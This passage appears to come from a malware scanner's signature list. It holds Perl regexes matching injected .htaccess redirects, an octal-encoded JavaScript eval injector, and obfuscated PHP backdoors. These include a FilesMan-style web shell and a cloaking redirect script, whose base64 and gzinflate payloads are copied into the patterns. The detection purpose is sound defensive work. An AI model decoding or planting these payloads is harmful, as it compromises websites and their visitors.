\$\s+?http:\/\/.+?\[R=301,L\]\s+?<\/IfModule>/is,
    qr/,152,44,54,162,145,172,155,153,145,170,163,166,62,147,163,163,157,155,151,111,162,145,146,160,151,150,55,21,16,177,21,16,155,152,54,113,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"\[ps\]\(","\)\);ss=String;d=document;for\(i=0;i<a\.length;i\+=1\)\{a\[i\]=-\(8-4\)\+parseInt\(a\[i\],8\);\}try\{asd\(\)\}catch\(q\)\{zz=0;\}try\{zz\/=2\}catch\(q\)\{zz=1;\}if\(\!zz\)eval\(ss\["fromCharCode"\]\.apply\(ss,a\)\);/is,
    qr/<\?php\s+?\$sJOiB=\s+?array\('5336','5353','5332','5343'\);\$AWoMEC=\s+?array\('7818','7833','7820','7816','7835','7820','7814','7821','7836','7829','7818','7835','7824','7830','7829'\);\$zjTsxrEwdqszI8Ohv2i5Gqw1sjg5NIAySjRfBmB=\s+?array\('9217','9216','9234','9220','9173','9171','9214','9219','9220','9218','9230','9219','9220'\);\$lHnIl9VV6wsQoJw="ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBFWWxaYU5Wa3lNRFZsVm1kNlUyMTRhbEo2YkRWYVJXUnpaRlp3TlZvelpFeFdTRTVNVVRJeGMySlZiRVJhTW1oaFlteGFNVmRVVGxOalIwbDVUbGRhWVZkSGFIZFplazVUWld0MFJGTnRSbFZXUmxwNFZGYzFSbVF5VFhsaFJ6RlpUVEJLZDFreU1EVmliVWw1WXpKc1RGVXlkek5STWpGaFRWZEtkRlJxUW1oV2Vtd3hVMVZhZDFSck5WaGlNMnhxVmtWS05sbFZaR0ZhYlU1SVlraHNhVTF0VWpKWldHeHVZMGRXTTJOSWJHRlhSa2w0V1RJd01Gb3hjSFJTYms1cVRXeFZNMUV5TkhkVE1FNTBWMnBHYVdKVk5IZFpWbU0xWkZWc1IxWnVWbWxOVkd4eVYyeGtUMlJzY0VoV1Z6bExVbXMwZDFreU1YTmtWbkExWVRCMGJHUXlPVzVUVlU1Q1dqQndSMVJxUW1waVYzZ3hWMjVzUWs5VmJFaFRiV2hxVFd4VmVWUnJXVFZoTVhCWVZHNWFZVkl4Vm5aVGExcFBUVWRPZEdKSVZtRmxWM016VVRKc1Fsb3diRVJSVjNSV1RXdGFlbHBGVVhkaFZuQklWRlJHYWxKSGVISldSRTVEVVRGc05WTlVaRVJoVlVadVUxVk9RbUV4VlhwVmJteFZVakZhTVZOVlVYZGFNazE2Vlc1c2FWSXhXakZUTUU1VFZrZFNTVk51UW1saVYwNTNWRE5rZGxvd2JFUlJWMlJMVW1zMWMxa3hUa0pQVld4RVUydFdWVlpXV25SVWJGWnZXVmRTVjFGdWFFcGhiazVNVTFWT1Fsb3diRVJWYTJoYVZucEdNRmRXVGtKUFZXeEVVMWRzVUdReU9XNVRWVTVDV2pKUmVXRklRbWxTTVZadVV6Qm9UMDFIVG5SbFIzaHBZVmRrY2xWcVNrZGtSMHBZVWxoQ1VWRXhTbFZhUldoTFZGWndXRTVJUWtSaFZVWnVVMVZPUTA0d1RuQlJWMlJLVVRCR2JsTlZUa0phTUhCSFZHMTRhbFV3UlRWVFZXaERZVVpyZVdNeU9VcGhNbVI0VTFkc05HVnRSa2hTV0doTVVURktTVmRXWTNoa1JteFVUa2QwVmsxc1dqUlVSMnhUVmtac1dHVkVRa3hWTW5NelVUSnNRbG93YkVSUlYyUktVVEJHYmxOclZtdGhSMHBZVFZkb1RXRnFSalphUm1STFpXMVNTVk5YT1V0U2F6VnpXVEZPTTJRd2VFVmFNMEpRWkRJNWJsTlZUa0phTWxwU1lqQjBTbEV3Um01VFZXaExZa2RTU1ZadWJHbGhWVVp5VmxST1UyVlhSbGhPVnpWWllWWktTVmRXWTNoa1JteFZZekIwYlZWWE9VeFhiVFZYWkZacmVsVnVRbWxOYWxKdVYycEtWMDFHWjNwVmJWcGhVako0TlZkRVNYaGhSMDE2VkZjNVRGVXdTVE5STW1SM1kwWndjRkZYT1dGaWJGb3hWMVJPVTJOSFNYbE9WMXBoVjBkb2QxbDZUbE5sYTNSRVUyNXdiRmRGTlcxWGFrcFhUVVpuZWxWdGVHbFhSVXB0VjJ0a2MyVlZiSEJoTTBKS1UwaE9URk5WVGtKYU1HeElZa2N4U2xFeWFFSlpWbWhQV20xUmVsTnVRbXRTTVZwdlYxY3hOR0pGZEVsVWFsWnFUVlJzZFZkc2FGTmFiVkpJVm01U2FsSnFiSEpaVm1oS1lqQjBWR0V6UWtwVFNFNXVVMnRvUzJKSFRYaGtSMUpLVWtSQ2Jsa3lNVmRoUjBwSlVXMW9hMUl5WkhaWmVrNXpaV3huZVZwSGVHdFNhbXQzVjJ4amVHUXhaM2xWYmtKcVlWZGtkMU14VW5wYU1scFNZMFJzUkdGVlJtNVRWVTVEWTBad2NGRlhPVXBXTVZvd1dUQm9VMDVWZEVSVmJWcFRWbFJXV0ZZemJFdFdWbEpYVVZkc1dWVXlkRzVUYld4YVdqRkdTR0pJY0ZsTk1sSTFXVlpvVTJKR2JGaFRiazVoVlRKb05WZHNaRWRqTWs1SVVtcENhRkV5WkhKWFJFSlhWREZhYzJNeWJGZFNWRVpTVTFkM2QyTkZkRlJoTW1Sc1pWVkdjbGt5TVZkbGJHTjRUVWRrVVZVd1NqVlhiR1JIWXpKT1NGSnFRbWhSTW1SeVYwUkNWMVF4V25Oak1teFhVbFJHVWxOWGQzZGpSVGsxVVdwc1JHRlZSbTVUVlU1RFkwWndjRkZYT1VwV01Wb3dXVEJvVTA1VmRFUlZiVnBUVmxSV1dGWXpiRXRXVmxKWFVXdFdWRlpyYkhCWFJrNXlXakJ3Y0ZkWFpGSlNNbmcyVjBST2EyVlhSbGxWYlhoYVZqQndlbGRzVG05bFZuQllVbTVPYWxJd1dYZFpWVTV1WVRGbmQxWnJPVmRpU0U1d1ZtdFZlRlZXU2taaVJrNUtZa1JDZDFNeFRuSmFNbFkxVVZkMGFtSldXalpXZWtWM1dqRkNWRkZ1YkdGV01GcDZXVEJrUjAxSFJrUmFNbVJMVW1wc1IxWkhlR0ZaYTJ4elZXczFWbEpXU2t0V1YyeExXa1YwVldNeVpHMVZWemx1VTFWT1Fsb3lSbGhYVjJSTVVUQmFjMWxzYUVOTlIxWlVXakowV1UxR1dsQldiWGg2WVZaYVJsWnJOVlpSTUhCclV6Rk9RbUpWY0hCUmEwWm9WMFUxYlZwRVRrdGpSMUpJVm0xb1dtSllhSE5UTUdoTFlrWnNXR1ZJWkZwWFJrcDJVekJPVTFwc1NsWk9WbVJZWlZWd1ZsVnNWWGhWVld4elRVaENURlV5ZEc1YVdHeENZVEpPZEZadWNGaE5WRUp1VlVaT1EyVldjRmhTYms1cVVqQlpkMWxWVG01YU1IQkhUMVZhVldKR2NHbFRWM2hUVW14U1YxRlhiRmxWTW5NelUxVm5kMU13YkVSUlYyUktVVEZKZDFkc1kzaGtNWEIwWWtoT1lWWkVSa0phUldSWFpFZE9TRTVYYUdsVk1taHRWMFJDWVZOc1VrWldiVnBaWlZoa2NGTlhiSEpPTUU1d1VWZGtTbEV3U25kWGJXeENZakZHU0ZkdVFtbFNNVnB0VjJ4b2IyTkhUWHBWYm5CTVVURkpkMWRzWTNoa01YQjBZa2hPWVZVeWRIZFRWV2g2VXpCc1JGRlhaRXBSTUVadVZWVm9WMlJYU2toaVNGWm9aVmRrY2xwRlpGZGtSMDVJVjI1Q2FWSXhWbmRVTTJSMldqQnNSRkZYWkdoV01XeHVVekJXUTJOSFRYaFBWRTVxWWxkM2QxZHNaRWRoVjBwSVZsYzVhbUpXV205WmEyaERZVWRTU0ZveU9XRlNNbmcxV1cweFIyUkdjRlJhTW5SclVqRmFNRmt3WkdGalIwcElWbGhDVEZVeWRIZFRWV2g2WVRKT2RGWnVjRmhOVkVKdVZVWk9RMlZXY0ZoU2JrNXFVakJaZDFsVlRtOWhNa1paVTI1V1dsWjZSbk5UTUU1VFRVWndXRTFZWkdGaVYzaDZWMnhPY21ORk9UVlJhbXhFWVZWR2JsTlZSblphTUd4RVVWZGtiVlZYT1c1VFZVN
    qr/<\?php\s+?\$default_use_ajax\s+?=\s+?true;\$default_action\s+?=\s+?'F'\.'ile'\.'sMa'\.'n';\$default_charset\s+?=\s+?'W'\.'ind'\.'ows'\.'-12'\.'5'\.'1';\$color\s+?=\s+?'\#'\.'df'\.'5';\$locor\s+?=\s+?'\/'\.'\.\*'\.'\/'\.'e';preg_replace\(\$locor,"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x34\\x5F\\x64\\x65\\x63\\x6F\\x64\\x65\\x28'7X1re9s2z\/Dn9VcwmjfZq\+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XO6d7Jx72TC\/PN2dmHzjl8dbZf7x2dmd9KJXbHCtPQCbYHzjgKWYtZQWDdFo3Xvj\/wHKPMjFNvGkzwx\/vTo1d\+hL9cq2MF9tC9dgL8\/GKNe84N\/jqxRl0PEktN5vaLk8AZdEZWZA\+L5prJKswdTTy\/5xTNv82yWm0J8sw1FxMfoHXoWD0nKFLuWq1SZc\+qz9iRH7F9fzrumVCvc\+NGTXYP\/9tyx24ndKKi6QSBH3Q8f2CWj84PDwEqyYPUDuWHZrmq5Yysm45z49jTyPXHncgdOQICcumz47kjNyrGaSNr4NqdP6d\+5ISdYDpGGJ7bc\/ruGNr96fS4A607PTg\+gsaa9cpzk3fVIF18MLGL1OL\+dGwjAQzKhlHgTkLPCodOWCzQSCFI4ETTYMzcsMMHT\+Zs8sEExBOqWi2OfS3AGiwPL\/ZhofPh\+PQMmCJTN2UATKGzc3z87mAvF4ZnEaa4FbPQP\/QH7riIhPdcp2hsAJswy3MH45YNzOAE7Y2\+H4zYyImGfq818cOo\/cEKw5kf9Bpswx1PphGLbidOayJS2dga8a\+2mh1OuzA87Nrypk7LbLfN9sYaYoY\/UGXb0AlD8p3I9v0rIKpwBd1zTZNDtOKicPUNGlm4brIMGOJxk\+lmTaNhB6mh8YMMN0R\+4n12YWIOcDP7\+WdWHPWeZ9JbUIuKQiOMF9DmyBsoDeXKainkKVZckRWLJswvDNX\+\/TdbCpKtpOhLRlT0A3BB5Hv\+DOYpDAF8FT\+8\+dA5Pi1Xy\+slap8xc8dGiRV8XHBM\+DBh3nqhI1PG7g2kFEKr73RGsGBAGk3LAU7LOFVMnZUErsT4TA\+ciR9E7nhAs6\/Qc0MLlqWOHOtQw5fJRbyFoQ\/z2571EBTA4FeRV6cPpk3r0pY97LmBlggo8kpTA0Wbib2UeqCnkHLPsmFWXF7ieroG\/8QgCc55kByIBgF\/XwCc54zpd2m1RkMHC3GJo6nQB\+\/CpRkFF2rrD\+uGmv0oeCC72PV9r1SAxdCaelEH1v8O5uV0TAHWAyt0kv2IGYduGLFdN3DsyA9uDdZqMwM6Hdu\+7457zMU9qDIZTuAXs6dBAGsJQwAJydZCtjZja90ENC78i\+2P\+\+7gl\+XKq9C0Qw79GbOAea4dBlljh\/MRLzl2ojCyIrZqjWNY2BvGwJ2wkgTXru0kkDCyVkBb7DnkAU4btrVIycc9M0Zj\+yNY7JxAyb92nRnmb598YGfI1jzLCiZAAGYcfGA7RP00sJBKnu9OeJPYmuV5BivJ6ThnGOJu8UK26g0JsYcZfdeDtTyCbaALhIUM1lWLHbrj6Q20FarowfYcOdD9PQ4a3oaRM5K4sCBbvSZ0ITbQnzhjAMXJnO1N9jcbwCRgqy7Duh3q3kngQ3\+G2I\/RVJSZhMya3six5mn41ceRh\/aycOpyekQBylhjq7iLsD5bnTiwHa1Wn1WrVWhuGJdNyuXyDMFUHkZDJAyWIqGeIWHwPSRk0PDRr7hjm2bAAkJwq02Bp7D88mDxS0NAXhr5ZZdqy1xU2J\+zwI2Q\/Vnf90BgBA4Y5\/Yv75B6Zjzml19I2zx0YqJXJrPeg72jwCbDnC6\/fA\/loUOSKsOI5KeHCYoh4\/KpsssTk0VFpHRBYuwMYRLDyv4wOSp0QlIWxyPIykVJpPVh9x6OLNcL7IcpU4ATwjIYHkFXCuGhb1uRk6xgHn2zYRRNehWcCCqJmUylxPUQpOpwXhElVykDS2t\/QT1qtloqvO3CMjGvUJKrlBndzoMXOQqs1Ru5Y33RymQp4HZ\/kF7h9BwVFmqaByyyUtCwJvasaA48z8yWmF\+DO8ivA9bd\+SUgM7cEocqHn9MSLqYtpk8BymCQi3lOOQVWHepk7ExKNlW41NoZA0K6Bhf\+6eXCQboGl7f\+xcAyUysxb5mKS6kAWsnRLdS\+sKgGoZWdswLFJZV8tVzXsq\+meSPHMxTI3nSUB4fJ2vR3r3OnvXtNAqN6wn\/DtTTi\+Cu1UOJwNLQCOGyIA0QqDU\/Yrw\+PX20fnl6Y8pwQ5zbZwPO7lgfnFzhfBiCk2kOfGRvDaOS1N1A11N4YOZFFa96q8\+fUvW6ZIO2CbBitnsHCaiL74VfLjEAQXcOCTSbwtwxYf7MUVZhhtjciN\/KcNofIOecgFFvFozpDGEXNwyrGxhov\/WQjjG7xb9fv3d7hMAwC1FqtUmsaPz579qwpfjo1\/F\/znkDLUa8cDe9AFBlHDfbrJGKHU9vtWeWPTtCzxlZzZAVw\/m5Um9cOnHpty1sldUoj8icphOz\+CYk1MOv7\/h0Tmf1\+v5klp16vI3w4scblYa1sSXDR\+2zFHaFgbo0jCcZJXJ057mAIlHZJdMLMYe0OvgL4WvWcftR4PoHzgO\+B6CpGcmL1enAgarA65EBuk7e19gwaK1uZT6FsO5SBinrudUUM8R2LkSJCDhdXn4NtfX0dUUA7kTdWe3Be4UekxtgfO5TVGPrQxVkAwOIEnsuhKiMvbm6jFreUhleSlFAEo4Y4\+54\/a8AxJfIJRdcdWIEDpMzcXjRs1KrVn5pD3q3rVdFW0nSVkRQELYeOB\+fOOxajXTi4z58\/b2ZIlNMqYbT3\/tiHkbWdMsyjaeDCmfTImZlYPWrSkto4ST9GcMAPz7qe6CLOhlyrR\+2i\/IPxRDaMUWuo0yyQioDLlXI4VnmkO\/i\/ZlwmEKMyDxIAYUBypxtm1e9yWeH\+ySRw7oif\+9bI9W4bogPKcZ8ACRtrYkpvhHbgTqL2Ewb\/XVsBszuoyMLFABeZcOLYruXRqlJMVjgbNhjSkRhmMy5pzS\+5JZcni4oZZlIdX6\+WKJqsv4ggqXZSiwsXUYU38ZVCk5r5rWxcjo3SSqvVt7zQKW2aZiPbNBV\+7\+is89v58dneaSldV31RXfVH1lVfXNf6orrWH1nX\+sK6UDfX8\+3pCDi\+\+eSHeEtE5ZpVtsuTWnlSL0\/Wy2IQYIN88sMPsEVaK63x1PNKvcqoX7EqXGVtNUkJo6d1mryErZawRa6tlIjTZIlJTS0yqYn8SU0ppKTGxepasboEqKvFktS42LpWbF0CrKvFktS4WbxjtMbxJNkc\/qU2NC8f8d0rIzBY0P9zRwdpoir4TUKxlEJqfS9S4ksrsEak7UYdaCsKpo6JebCuFt1WteluUNWwqiM3hRXPGQ\+iYdN9\+rQEUD\+I4k\+h\/M\/mUw30wv1WwePjU7NlPnXGtt9zzk8OdnzYrseQX8wAU88RYWFQpJkC21RyjSPlnZO93873Ts86gEysHmXRinTHAJpp4MW5gstZcQaHXH9W\+fz\+8A1IaCcgoTlhRM0JnD\+hK8bOjOmZ1Oc\/0GArCLZJ1\/r5uPsHbHmp8lpe0Xzv2oEfwtGUagWJzSzx\+Yr\/IUooiQQy5T9Iqvhj2FR7t6hHBCnTGg\/wEkJoF4G2HUpqZotNnHHRxMUCOof6AAe2lAUEVhBN5MIyK\+qSahn4YjLxQJrDHl27WZ3NZ
    qr/<\?php\s+?\$zzvc\s+?=\s+?array\('DZa1rsYMrkVfZTTV\/E','oR\+IIaTRFm5jRXYWbO','099TWHLlYnt5yf8qr3','T4T\/21UzWkR\/mfLN1L','HP2\/osznovzPv7kkkb','j1lvneu6D1Ah9bni8\+','pW7piEouPi6rLCGIKm','QlwgSmd55kgip8\/Yn5','DiDxDqaZHJjWUkWj40','XXhzlo08UFRJblkTPC','Bi12N9PxJ4zyO\/mRBR','83w\/WaHCxUfwI5IT7Y','8PICQFfigOLNyChIoT','QFPcd5PdN\/xYtsQUCo','wfRJ81M8wneOivI1M8','Z\/M20sYq2l\/Pukchdv','\/pxpk\/BsMaT4zKCeh0','9cd8Zkq740lSTLPDur','MYAHx5lTVao1bTynae','vYCWjt5nsoOrv5b8i\+','8mAaGxf9XMulY5xjUm','Cti8yGmqKjLhObeJZ8','qrDaHpLwl8sgsKTOl7','3FZs4bTE9tuLALCLWw','B5Lj\/PI0T21F7dfPtP','S5tqcFOvqQyTxMB4P\+','jTnX\/zo\/nNKQb7onBX','jsym21uk6rpFgz1qqi','VlVTYV8otsswVuqepF','\+0G0SYPK3Y2TKe7HXh','8Qf\+FVtNN87kqdhye0','dqKy\/PYAcNf6DN7JI9','JBjQfK4zt5nWtFS6Tj','9BvqBC6YcMwW5fxV48','fZWAg0gfO42mKXFLDc','0msO90cKyWgUpkT8E0','HbNb5HJ8zB4JH1vBO0','My3wfOaMtGhTnBVQD9','JIc\/MKoSW4X3Z1F0ly','ni\/OgsiDBoNCgNextT','3VBAih\/vIE0jXcl6aK','BMWkcOYm2\/XdkEuwCs','Ei\+uSNMh36Ej2YS8d5','OfH8LnsOogbuPTjLgP','sKU\+MyrdR\+6logU4yJ','iK0waYhtkSBsukeRjh','yq1okcQw2D2KRo2oEH','lKF4EqZudwNljoU7eV','Zb0AqpPTSEtNbf\/wPD','4o6YvFUKYQkU7s0u5K','EU5q2VfWQ7i\+mqW6q\/','blNnoH66TaMmeezu0V','l6ex5l6nDasWhEn2xV','S2bkJv\/dnInMEe6uTv','9uy6HSKv5QGL3P1bYf','IS2cSgx831qFhAV39Z','VmgQAq6yv\/P4RrOgl4','hSCVNet7\/x49eCDlV4','XRKplgrKOHvIrROQPL','g8KOJgsJs6mpQkDqZ6','fxFN0iKWnqM\+ii\/yhG','ZxydM\+sTG30YqYu44k','bdEGQS0181xt\/hdfNg','fvLHOQNRPbDTkrkfr\+','CcG7nw3RtJU8XHJ8WF','Z\/jAYRxitGFBgqMmgJ','R8jMTUFCJ0onGDHa\/f','QgAvSk2yS48jcZUAdq','Zo7OvbGVS9j0qOPa10','WF6rqW3EB\+XElyu6Qy','KdbettXpKAlJIxylh7','fjsAeqNaTl6d35vk3z','wSpbCfKHDSkseHnMxz','fZjzQiZOSaln0oGkSB','OPmbwn906uOwAuZgM4','vBCurrtdXOiqlb\/iCY','ZXEP\+eL88n2xsT3LGo','TZLaIVov62rk2qG2g5','xuiA9mPJ6WnAJVLZCq','Cf9K\+dAaJAbQvxcEp8','Na2PU5fU7YcBPKCHKn','a773IKkaYm6qMzxLwm','E2kqg6uajQlUba2Mar','aQHjHs52eCl8UTKjiw','xD8kD8iIfBqaV6tx3E','oxzdZMFFShP7rY8UXM','j5ovcZzBwLZbaa4ML6','2TzhR\+p1sMCn4GxjFP','adNV8t7veE0WE1OcYI','Qddzn3\/Tg4OyU94eFF','zGw\/hsdCf6Frgdipjn','YocD20TAGPF3Fbjlg5','v0iL5xIVO4QKJxkcxg','Y8OXHr4LD9fpgfGqNv','7\+9JqqG9W3cEZLjng4','H6x2slCjABR77YAtCl','Q2YydBcN22sLwNhWEa','9cesEmulHyO0pwLpCR','dDzcYO62\+VBSSMzgd9','WdtqAqoqxQA9OzdWcI','xfOhdIYiFKwwi2MrZM','\/JVTm4MSNunDMyv9Bh','2bUkuqEHezjUmuxdi\/','AXliYRbdlDVrIzD0m5','BhwUIwc3npS\/JOn3Ob','EbnP2hPBX7yUrfdI9i','8KxzDLQVA3040Txvzy','wWksWJNhJhDY\+k2N7n','gahrN1Gi2\/TAOhhWaH','hdbgmhvj3\+aRp21mDP','FSW4UYK1R9Gjr5pcpW','nyLKXkExKgKfQZClyg','qye0USUPa1Bv\/MLaB7','P9rdOHLHI\+6igeuo9i','Wl\+TdzudfAKoo0NIiS','T88rqnVW3Ssu2HQ3\+k','H0sklKcEaC\/rH3dUxn','0gUifgQBueTAKC\/4Lp','iMDAszkdrq8LX\+DsPm','lZglq1qQrAVUMOjiGj','jFsXX3acsWd7WkTidq','z6xteQURmzLNYzNbyj','R4QfX4xvBYXIOWmEAy','ncbHRCPNXuQ21Tr\/fT','jAtbQd9lwqZIXLmSOt','MuPJvSVIceMbR1PtcN','IMrWnCnqKtZRReTc\+5','OEk0Xz7Ah4ErSVqNWE','jw\/IQTrjsMwS\/Gy7Ov','JQG5tMGAb26Lu7dwhi','LaUZZZ8HVfEEn\/F\/Pb','3OT5\+1hVoMmK8rYjCX','o\+\/uiaj2DBPhoBs0SF','m\+\+zTMnXZcWNNIaiRk','H3CzNR4jGendw2H\/DK','H6ux1\+GLv7gd\+0jmci','g4JGIv88ya224iQL4P','LUp9JHPuDxF6gv6mt9','t7yGjkghYIo2JpO1YR','dKymBYhBWq\+bvf\+FcA','pV9efeBGNPUCuRgDYT','szxidYLx2ow3YZ3\/Cc','k\/RplvJUxyMpinxHca','Vs0\+fkDo\+G8OmmxW\+\+','HEI5JaKoifQrGTuyj2','obkS4sA80f3f432R8o','Jrl7w48hsWgDHZE7x\/','0YApeWDC6\/FIOXuIcx','5HFeeGLT5sxl1kJucW','vOr8RMXdM\+gkMrFOrE','8jrJyWQYNX98ydqsCo','5IYvaRUM01SwpXcaOW','ZcjH32iSzISXeOsmQ4','UYY4wSW\+Fh5lhQM8ky','7rVFJk7SbLixD87Z5J','NOjHOtbkWyGnJFAL72','4DsW4OwHK44aDedbOX','CdFPlBA1BtYL\+ir26H','1Sfso3\/77lJGvmddqg','JgJpbV0ZfMk\+U8rfs9','HpM4ScShlZEXOriJn5','\/aMTlc3namJVWAg1s9','CefkqEa8JddKv95zh\+','FyW7FpppY2yN3Hg5HS','J\+sTII4g3j5qzwqP2N','12KAr10VS7CW2X044r','jGoobaGz4Y8owoNnq7','PZ\+57w8ZjukxzR7Rre','pZtwASvnx0p7UHT3hv','3Qsof\+nie3tKN\+NAK9','0QydgbeNoFRWkWlalm','s\/ViPwJMEKBAGwAEHa','\/t\/\/\/v3PP\/\/891\/\/Dw','=='\);\$smxebbhl\s+?=\s+?strrev\('edoc'\.'ed_4'\.'6'\.'es'\.'ab'\);\$v_iptbg\s+?=\s+?strrev\('e'\.'tal'\.'fn'\.'iz'\.'g'\);eval\(\$v_iptbg\(\$smxebbhl\(implode\('',\$zzvc\)\)\)\);\s+?\?>/is,
    qr/<\?php\s+?function\s+?_1342165178\(\$i\)\{\$a=Array\('VVRGLTg=','VVRGL'\.'Tg'\.'=','VV'\.'RG'\.'LTg'\.'=','V'\.'VRGLTg=','dW5p',''\.'X'\.'19I'\.'T'\.'1NUX18'\.'=','SFR'\.'UUF'\.'9IT1NU',''\.'SFRUUF9I'\.'T1N'\.'U','d3'\.'d3Lg==','X'\.'19T'\.'R'\.'V9SRUZfX'\.'w==','Z29vZ2xlLg==','eWFob28'\.'u','Yml'\.'uZy4=','YW9sL'\.'mNvbQ='\.'=','eWFu'\.'Z'\.'GV4Lg='\.'=',''\.'cmFtYm'\.'xl'\.'ci4'\.'=','bWFpbC'\.'5ydQ==','X19'\.'T'\.'RV9CT1R'\.'fX'\.'w='\.'=','YmluZ2Jv'\.'d'\.'A'\.'==',''\.'b'\.'XNuYm90',''\.'c2x1'\.'cnA'\.'=','Z29vZ2xl'\.'Ym'\.'9'\.'0','bWV'\.'kaWFwYXJ'\.'0bmVyc'\.'y1nb'\.'2'\.'9nb'\.'GU=','Z3NhLWNy'\.'Y'\.'XdsZXI'\.'=','eWFuZ'\.'G'\.'V4','eWFkaX'\.'Jl'\.'Y3Rib3Q'\.'=','X19QUk9'\.'GSUx'\.'F'\.'X1'\.'8=',''\.'ZG'\.'xu','X1'\.'9'\.'B'\.'Q1RVQUxfXw==','ND'\.'YuNDUuMTgzLjEz'\.'Ng'\.'='\.'=',''\.'X1'\.'9TQ0'\.'h'\.'FTUVfX'\.'w==','MzI=',''\.'X19QQ'\.'VNTV09SR'\.'F9f','ZTdlNzE4YjVmNTNjYj'\.'l'\.'iN'\.'z'\.'cwZmE4NTExM2N'\.'jNj'\.'UzMTY=',''\.'X19'\.'TRUNS'\.'R'\.'V'\.'RfXw==','cQ'\.'==','Q2'\.'9'\.'ud'\.'GVudC1UeX'\.'BlOi'\.'B0ZXh0L2h0bWw7'\.'IGN'\.'oYXJzZ'\.'XQ9dXR'\.'m'\.'LTg=',''\.'dXBsb2Fk','cHc=','cHc=','dXBsb2FkZWQ=',''\.'b'\.'mFtZQ'\.'==',''\.'dXBsb2FkZW'\.'Q=','d'\.'G1w'\.'X25hbWU=','dXB'\.'sb'\.'2Fkb2s=','SFR'\.'UUF9'\.'SRU'\.'Z'\.'F'\.'UkVS','S'\.'F'\.'RUUF9'\.'SRUZFUkVS','LQ'\.'==','LQ==','LQ==','LQ==','LQ==','','','aHR0cDovL'\.'w='\.'=','L2'\.'91d'\.'C9zdGF'\.'0'\.'LmNnaQ='\.'=','P3Bh'\.'cm'\.'FtZX'\.'R'\.'lcj0'\.'=',''\.'a'\.'HR0cD'\.'ovL'\.'w==',''\.'U0NS'\.'SV'\.'BUX05BTUU=','Og==','J'\.'mlwPQ'\.'==','UkVNT1R'\.'FX'\.'0FER'\.'FI=','Jn'\.'Jl'\.'Zj0=','SF'\.'RUUF9SRUZFUkVS','JnVzZXJ'\.'hZ2Vud'\.'D0=','SF'\.'RUUF9V'\.'U'\.'0VSX0FHRU5U',''\.'JmRvbW'\.'F'\.'pbj0'\.'=','JnZpc2l0PQ==','MQ==','Jmt'\.'leXdvcmQ'\.'9','LQ==',''\.'IA==','JnNoZW1l'\.'PQ==','dG'\.'9'\.'iZW9ybm9'\.'0dG9iZQ'\.'==','c'\.'Hc=','cHc=','aH'\.'R0c'\.'DovLw'\.'==','L290a'\.'G'\.'Vy'\.'Lw==','L2luaXQ'\.'=','a'\.'HR0cDov'\.'L'\.'w==',''\.'L2'\.'90a'\.'GVyL2M'\.'=','L'\.'3'\.'B3PQ==','L3By'\.'b'\.'2'\.'Z'\.'pbGU9',''\.'L'\.'2t'\.'3PQ==','LQ='\.'=','Kw==','L3U9','aHR0c'\.'DovL'\.'w==','UkV'\.'RVUVTVF9VUkk=','L2'\.'lwPQ==',''\.'Uk'\.'VNT'\.'1RFX'\.'0FERFI=','L3VhPQ='\.'=','SFR'\.'UUF9V'\.'U0VS'\.'X0FHRU5'\.'U','L3'\.'Nja'\.'G'\.'VtZ'\.'T0=',''\.'L'\.'3'\.'Rw'\.'bD0=','MQ==',''\.'PHNpd'\.'GV'\.'jb2'\.'50'\.'Z'\.'W50Pg==','PC9zaX'\.'R'\.'lY2'\.'9'\.'udGV'\.'u'\.'dD4=','PHNpdGV'\.'jb'\.'250'\.'ZW50Pg==',''\.'PC'\.'9'\.'zaXRl'\.'Y29u'\.'dGV'\.'udD'\.'4'\.'=','','T'\.'W96'\.'aWxsYS'\.'81LjA'\.'gKF'\.'dpbmRvd3M7'\.'IFU7IFdpbmRvd3MgT'\.'l'\.'QgNS4'\.'xO'\.'y'\.'BkZ'\.'Tsg'\.'c'\.'nY6M'\.'S'\.'45'\.'LjIu'\.'Myk'\.'g'\.'R'\.'2Vja28vM'\.'jAxMD'\.'A0MD'\.'Eg'\.'R'\.'mly'\.'ZWZ'\.'veC8zLjYuMyAoLk5FVCBDTF'\.'I'\.'gM'\.'y4'\.'1LjMwNzI'\.'5'\.'KQ==','c2NoZW1l',''\.'aHR0c'\.'A==','aG9z'\.'d'\.'A==','cG9ydA==','cG'\.'9'\.'ydA==','R0VUIA'\.'='\.'=',''\.'c'\.'GF'\.'0aA==','Pw==','cXVlc'\.'nk=','IEhU'\.'VFAvM'\.'S'\.'4wD'\.'Q'\.'o=','SG9zdDog','aG9zdA='\.'=','DQo=','VXNl'\.'ci1BZ2Vu'\.'dDog','DQo=','Q29u'\.'bmVjdGlvb'\.'jo'\.'gQ2xvc2UNCg0K','DQoNCg'\.'==','NDA0IE'\.'5'\.'v'\.'d'\.'CBGb3Vu'\.'Z'\.'A==','','d'\.'XNlcl9hZ2'\.'VudA==','cm'\.'I=','U0'\.'VS'\.'Vk'\.'VSX1BST1R'\.'PQ09'\.'M',''\.'IDQ'\.'wNC'\.'B'\.'Ob3QgRm91'\.'bm'\.'Q=',''\);return\s+?base64_decode\(\$a\[\$i\]\);\}\s+?error_reporting\(round\(0\)\);mb_internal_encoding\(_1342165178\(0\)\);mb_regex_encoding\(_1342165178\(1\)\);mb_http_output\(_1342165178\(2\)\);mb_http_input\(_1342165178\(3\)\);mb_language\(_1342165178\(4\)\);define\(_1342165178\(5\),mb_strtolower\(mb_substr\(\$_SERVER\[_1342165178\(6\)\],mb_substr\(\$_SERVER\[_1342165178\(7\)\],round\(0\),round\(0\+0\.8\+0\.8\+0\.8\+0\.8\+0\.8\)\)\!==\s+?_1342165178\(8\)\?round\(0\):round\(0\+4\)\)\)\);define\(_1342165178\(9\),serialize\(array\(_1342165178\(10\),_1342165178\(11\),_1342165178\(12\),_1342165178\(13\),_1342165178\(14\),_1342165178\(15\),_1342165178\(16\)\)\)\);define\(_1342165178\(